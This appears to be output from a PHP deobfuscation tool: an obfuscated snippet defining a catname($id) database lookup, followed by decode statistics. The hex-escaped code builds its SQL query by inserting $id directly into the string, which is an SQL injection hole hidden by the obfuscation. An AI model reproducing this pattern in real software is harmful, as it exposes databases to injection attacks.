${"G\x4c\x4f\x42A\x4c\x53"}["u\x66\x6e\x77z\x64\x6a\x67\x64g\x65\x6dl\x64\x72f\x74o\x6fp\x70q\x67\x6b\x68\x70p\x72\x71\x67\x70o\x65\x73_\x69"]="c\x6fn\x6e";${"G\x4c\x4f\x42A\x4cS"}["\x6eo\x7ay\x75\x63o\x66r\x75\x6e\x71\x6c\x6e\x68c\x79c\x7ar\x76a\x62\x72j\x6b\x64z\x6d_\x77\x65\x79\x73\x73s\x64l"]="\x71\x75\x65\x72y";${"G\x4cO\x42A\x4c\x53"}["\x5f\x66\x5fr\x6a\x61k\x64\x71y\x72\x6cz\x63\x65\x73y\x68k\x7ar\x6a\x75v\x74\x76\x79b\x7a"]="\x69\x64";${"\x47L\x4fB\x41\x4c\x53"}["\x67g\x5fy\x69\x6e\x77\x72_\x5f\x6a\x6di\x70\x70\x6cf\x65\x77\x76q\x6do\x6fp\x6c\x5f_\x61e\x68\x72\x62n\x6f\x77d\x67t\x65"]="\x72\x65\x73\x75\x6c\x74";${"G\x4c\x4f\x42A\x4cS"}["\x78j\x6b\x6dp\x6as\x71\x70a\x5fw\x5f\x64\x77\x71\x7ap\x78\x6c\x76c\x6ae\x62\x62\x6cy"]="\x72\x6fw";function catname($id){global ${${"G\x4cO\x42\x41\x4c\x53"}["u\x66\x6e\x77z\x64\x6a\x67\x64g\x65\x6dl\x64\x72f\x74o\x6fp\x70q\x67\x6b\x68\x70p\x72\x71\x67\x70o\x65\x73_\x69"]};${${"G\x4cO\x42A\x4cS"}["\x6eo\x7ay\x75\x63o\x66r\x75\x6e\x71\x6c\x6e\x68c\x79c\x7ar\x76a\x62\x72j\x6b\x64z\x6d_\x77\x65\x79\x73\x73s\x64l"]}="\x73\x65\x6c\x65\x63\x74\x20\x6e\x61\x6d\x65\x20\x66\x72\x6f\x6d\x20\x63\x61\x74\x65\x67\x6f\x72\x79\x20\x77\x68\x65\x72\x65\x20\x69\x64\x20\x3d\x20${${"G\x4cO\x42A\x4c\x53"}["\x5f\x66\x5fr\x6a\x61k\x64\x71y\x72\x6cz\x63\x65\x73y\x68k\x7ar\x6a\x75v\x74\x76\x79b\x7a"]}\x20";${${"\x47L\x4f\x42\x41L\x53"}["\x67g\x5fy\x69\x6e\x77\x72_\x5f\x6a\x6di\x70\x70\x6cf\x65\x77\x76q\x6do\x6fp\x6c\x5f_\x61e\x68\x72\x62n\x6f\x77d\x67t\x65"]}=mysqli_query(${${"\x47L\x4f\x42A\x4c\x53"}["u\x66\x6e\x77z\x64\x6a\x67\x64g\x65\x6dl\x64\x72f\x74o\x6fp\x70q\x67\x6b\x68\x70p\x72\x71\x67\x70o\x65\x73_\x69"]},${${"G\x4cO\x42\x41\x4cS"}["\x6eo\x7ay\x75\x63o\x66r\x75\x6e\x71\x6c\x6e\x68c\x79c\x7ar\x76a\x62\x72j\x6b\x64z\x6d_\x77\x65\x79\x73\x73s\x64l"]});${${"\x47\x4c\x4fB\x41L\x53"}["\x78j\x6b\x6dp\x6as\x71\x70a\x5fw\x5f\x64\x77\x71\x7ap\x78\x6c\x76c\x6ae\x62\x62\x6cy"]}=mysqli_fetch_array(${${"G\x4cO\x42\x41L\x53"}["\x67g\x5fy\x69\x6e\x77\x72_\x5f\x6a\x6di\x70\x70\x6cf\x65\x77\x76q\x6do\x6fp\x6c\x5f_\x61e\x68\x72\x62n\x6f\x77d\x67t\x65"]});return ${${"G\x4cO\x42A\x4cS"}["\x78j\x6b\x6dp\x6as\x71\x70a\x5fw\x5f\x64\x77\x71\x7ap\x78\x6c\x76c\x6ae\x62\x62\x6cy"]}["name"];}if($key){}else{}
?>
Function Calls
None |
Stats
MD5 | 108585a3ddd71d46d604100065b87d55 |
Eval Count | 0 |
Decode Time | 61 ms |